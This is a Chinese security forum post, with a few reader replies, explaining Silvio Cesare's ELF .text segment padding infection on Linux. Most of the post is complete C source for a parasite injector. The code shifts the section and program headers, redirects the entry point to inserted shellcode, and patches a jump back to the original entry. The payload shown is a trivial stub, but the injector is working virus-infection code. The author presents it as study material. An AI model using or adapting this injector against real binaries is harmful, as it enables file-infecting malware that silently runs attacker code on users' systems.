首页
社区
课程
招聘
[原创]silvio .text填充感染
2020-6-12 11:14 12347

[原创]silvio .text填充感染

2020-6-12 11:14
12347


写在前面:

     虽然上世纪九十年代  silvio 就提出了 text 填充感染的方式,但是现在看来也不算过时(菜鸟看法),思路该用的时候还是可以用。text 和 data 段在磁盘上是相互靠着的,但是映射到内存中是按照内存分页进行分配空间,那么就可以在text段后面插入内存页,放置shellcode。


原理:

    原理比较简单,就是在两个段间的内存页插入shellcode。 但是有所限制,32位linux只有 4096 B大小的空间可以利用,64位可以使用2MB。另外 shellcode必须是独立的程序,每一次注入都会涉及到地址改变,所以如果有动态链接库使用等都会有所干扰。加入shell之后还需要跳回原位置执行。

                                                                           

                                                                                                         《Linux二进制》图



设计:

打开文件,获得宿主程序的大小等:

    fd = open ("./elf1", O_RDONLY);
    stat("./elf1",&statbuf);
    int size = statbuf.st_size; //文件大小
    char dest[size];
    c = read (fd, dest, size);


可以使用struct stat获得文件属性,相关参数参考:

struct stat  
{   
    dev_t       st_dev;     /* ID of device containing file -文件所在设备的ID*/  
    ino_t       st_ino;     /* inode number -inode节点号*/    
    mode_t      st_mode;    /* protection -保护模式?*/    
    nlink_t     st_nlink;   /* number of hard links -链向此文件的连接数(硬连接)*/    
    uid_t       st_uid;     /* user ID of owner -user id*/    
    gid_t       st_gid;     /* group ID of owner - group id*/    
    dev_t       st_rdev;    /* device ID (if special file) -设备号,针对设备文件*/    
    off_t       st_size;    /* total size, in bytes -文件大小,字节为单位*/    
    blksize_t   st_blksize; /* blocksize for filesystem I/O -系统块的大小*/    
    blkcnt_t    st_blocks;  /* number of blocks allocated -文件所占块数*/    
    time_t      st_atime;   /* time of last access -最近存取时间*/    
    time_t      st_mtime;   /* time of last modification -最近修改时间*/    
    time_t      st_ctime;   /* time of last status change - */    
};  _stat结构体是文件(夹)信息的结构体,定义如下:以上信息就是可以通过_stat函数获取的所有相关信息,一般情况下,我们关心文件大小和创建时间、访问时间、修改时间。


获得文件格式,在section后增加一个内存页。将ELF文件头结构体中的ehdr->e_shoff属性增加PAGE_SIZE大小。e_shoff是节头表偏移,如果二进制文件有节头表,节头表在文件格式布局的底部,向上紧挨着的就是每个节(段)的内容,寄生代码注入到了text段后面,即被注入到text段中最后一个节的后面,这样让后面剩余节内容、节头表都想后移动一个内存页的大小。可以参考上一篇文件解析贴。

Elf64_Addr old_e_entry;  //之前elf文件入口点位置
    Elf64_Addr o_text_filesz;  
    Elf64_Addr parasite_vaddr;  
    uint64_t end_of_text;  
    int found_text;  
    uint8_t *mem = (uint8_t *)base;  //base是程序开始位置
    uint8_t *parasite = (uint8_t *)payload;  
    //获得文件几个重要数据,区段位置,program头偏移
    Elf64_Ehdr *ehdr = (Elf64_Ehdr *)mem;  
    Elf64_Phdr *phdr = (Elf64_Phdr *)&mem[ehdr->e_phoff];
    Elf64_Shdr *shdr = (Elf64_Shdr *)&mem[ehdr->e_shoff];
    ehdr->e_shoff += PAGE_SIZE;   //section段加一个内存页放置shellcode

注意pagesize的大小根据操作系统位数更改。


插入shell之后的 所有节表头都向后移动内存页。将 phdr[TEXT].p_filesz 增加寄生代码的长度值。将 phdr[TEXT].p_memsz 增加寄生代码的长度值。对每个 phdr,如果对应的段位于寄生代码之后,则将 phdr[x].p_offset 增加PAGE_SIZE 大小的字节

int i, j;
    for (found_text = 0, i = 0; i < ehdr->e_phnum; i++) {

    if (phdr[i].p_type == PT_LOAD) {
        if (phdr[i].p_offset == 0) {
            o_text_filesz = phdr[i].p_filesz;
            end_of_text = phdr[i].p_offset + phdr[i].p_filesz;
            parasite_vaddr = phdr[i].p_vaddr + o_text_filesz;
            old_e_entry = ehdr->e_entry;
            ehdr->e_entry = parasite_vaddr;
            phdr[i].p_filesz += payload_len;
            phdr[i].p_memsz += payload_len;
            //遍歷每個 phdr, 后面加上 一个內存頁大小
            for (j = i + 1; j < ehdr->e_phnum; j++)
                if (phdr[j].p_offset > phdr[i].p_offset + o_text_filesz)
                    phdr[j].p_offset += PAGE_SIZE;
                    //phdr[j].p_offset += payload_len;
            }
        break;
        }
    }

找到 text 段的最后一个 shdr,将 shdr[x].sh_size 增加寄生代码的长度值对每个位于寄生代码插入位置之后的 shdr,将 shdr[x].sh_offset增加 PAGE_SIZE 的大小值。将真正的寄生代码插入到 text 段的 file_base + phdr[TEXT].p_filesz

  for (i = 0; i < ehdr->e_shnum; i++) {
        if (shdr[i].sh_addr > parasite_vaddr)
            shdr[i].sh_offset += PAGE_SIZE;
            //shdr[i].sh_offset += payload_len;
        else
            if (shdr[i].sh_addr + shdr[i].sh_size == parasite_vaddr)
                shdr[i].sh_size += payload_len;
    }
   
    ofd = open(TMP, O_CREAT | O_WRONLY | O_TRUNC,S_IRUSR|S_IXUSR|S_IWUSR);
    //写入原始text段(包含文件头到text段尾部)
    ret = write (ofd, mem, end_of_text);
    *(uint32_t *) &parasite[jmp_code_offset] = old_e_entry;  //跳回原入口點
    write (ofd, parasite, psize);
    lseek (ofd, PAGE_SIZE - psize, SEEK_CUR);
    mem += end_of_text;
    unsigned int sum = end_of_text + PAGE_SIZE;
    unsigned int last_chunk = hsize - end_of_text;
    write (ofd, mem, last_chunk);
    close (ofd);



全部源码:(学习用)

#include <stdio.h>
#include "elf.h"
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>

#define PAGE_SIZE 4096*3
//#define PAGE_SIZE 200000
#define TMP "elf2"
#define JMP_PATCH_OFFSET 1

char shellcode[] = "\x33\xC0";  //xor eax,eax

/*
  hosts_name : 宿主程序
  psize: shell 長度
  hsize: 宿主大小
  men:宿主內存映射地址
  end_of_text: 修改之後的text結尾處
  parasite: shell 入口
  jmp_code_offset:插入shell的偏移大小,方便後面跳回來。
  old_e_entry:宿主程序入口點
*/
void insert_shellcode(char *hosts_name, size_t psize, size_t hsize,uint8_t *mem, size_t end_of_text, uint8_t *parasite, uint32_t jmp_code_offset, Elf64_Addr old_e_entry)
{
    int ofd;
    unsigned int c;
    int i, t = 0;
    int ret;

    ofd = open(TMP, O_CREAT | O_WRONLY | O_TRUNC,S_IRUSR|S_IXUSR|S_IWUSR);
    //写入原始text段(包含文件头到text段尾部)
    ret = write (ofd, mem, end_of_text);
    *(uint32_t *) &parasite[jmp_code_offset] = old_e_entry;  //跳回原入口點
    write (ofd, parasite, psize);
    lseek (ofd, PAGE_SIZE - psize, SEEK_CUR);
    mem += end_of_text;
    unsigned int sum = end_of_text + PAGE_SIZE;
    unsigned int last_chunk = hsize - end_of_text;
    write (ofd, mem, last_chunk);
    close (ofd);
}

int silvio_text_infect(char* host, void* base, void* payload, size_t payload_len)  //host 宿主程序  
{
    //調整elf文件頭
    Elf64_Addr old_e_entry;  //之前elf文件入口点位置
    Elf64_Addr o_text_filesz;  
    Elf64_Addr parasite_vaddr;  
    uint64_t end_of_text;  
    int found_text;  
    uint8_t *mem = (uint8_t *)base;  //base是程序开始位置
    uint8_t *parasite = (uint8_t *)payload;  
    //获得文件几个重要数据,区段位置,program头偏移
    Elf64_Ehdr *ehdr = (Elf64_Ehdr *)mem;  
    Elf64_Phdr *phdr = (Elf64_Phdr *)&mem[ehdr->e_phoff];
    Elf64_Shdr *shdr = (Elf64_Shdr *)&mem[ehdr->e_shoff];
    ehdr->e_shoff += PAGE_SIZE;   //section段加一个内存页放置shellcode 
    struct stat statbuf;
     
    //調整program header 
    int i, j;
    for (found_text = 0, i = 0; i < ehdr->e_phnum; i++) {

    if (phdr[i].p_type == PT_LOAD) {
        if (phdr[i].p_offset == 0) {
            o_text_filesz = phdr[i].p_filesz;
            end_of_text = phdr[i].p_offset + phdr[i].p_filesz;
            parasite_vaddr = phdr[i].p_vaddr + o_text_filesz;
            old_e_entry = ehdr->e_entry;
            ehdr->e_entry = parasite_vaddr;
            phdr[i].p_filesz += payload_len;
            phdr[i].p_memsz += payload_len;
            //遍歷每個 phdr, 后面加上 一个內存頁大小
            for (j = i + 1; j < ehdr->e_phnum; j++)
                if (phdr[j].p_offset > phdr[i].p_offset + o_text_filesz)
                    phdr[j].p_offset += PAGE_SIZE;
                    //phdr[j].p_offset += payload_len;
            }
        break;
        }
    }
    //對插入shell之後的section 偏移位置加上 pagesize
    for (i = 0; i < ehdr->e_shnum; i++) {
        if (shdr[i].sh_addr > parasite_vaddr)
            shdr[i].sh_offset += PAGE_SIZE;
            //shdr[i].sh_offset += payload_len;
        else
            if (shdr[i].sh_addr + shdr[i].sh_size == parasite_vaddr)
                shdr[i].sh_size += payload_len;
    }
    stat(host,&statbuf);
    int size = statbuf.st_size;
    
    insert_shellcode(host, payload_len, size, base, end_of_text, parasite, JMP_PATCH_OFFSET, old_e_entry);
    return 0;

}


int main(){
    FILE *file;
    int fd, i, c;
    struct stat statbuf; //获取linux文件属性
    fd = open ("./elf1", O_RDONLY);
    stat("./elf1",&statbuf);
    int size = statbuf.st_size; //文件大小
    char dest[size];
    c = read (fd, dest, size);
    silvio_text_infect("./elf1", dest, shellcode, sizeof(shellcode));
    return 0;
}



阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!

收藏
点赞3
打赏
分享
最新回复 (4)
雪    币: 1112
活跃值: (2709)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
Amun 2020-6-13 12:36
2
0
如果目标ELF文件使用静态变量或全局变量,在`Data Segment`里面,是不是还要继续修
雪    币: 259
活跃值: (283)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ZwCopyAll 2020-6-13 16:07
3
0
mark
雪    币: 119
活跃值: (1486)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
小爱逆天 2021-11-15 10:58
4
0
看看,学习!
雪    币: 286
活跃值: (1178)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
AABB7c 2022-3-15 01:15
5
1
原文:“两个段间的内存页插入shellcode    64位可以使用2MB  ”     
问题:这2mb空间我不理解    我用cat  /proc/**/maps查看    内存中也是相互靠着的  只不过做了个0x1000对齐而已
3000000000-300002a000 r--p 00000000 103:15 828436              root/7/ls
300002a000-300006d000 --xp 0002a000 103:15 828436              root/7/ls
300006d000-3000071000 rw-p 0006d000 103:15 828436             root/7/ls
3000071000-3000075000 r--p 00071000 103:15 828436              root/7/ls
3000075000-300007a000 rw-p 00000000 00:00 0
游客
登录 | 注册 方可回帖
返回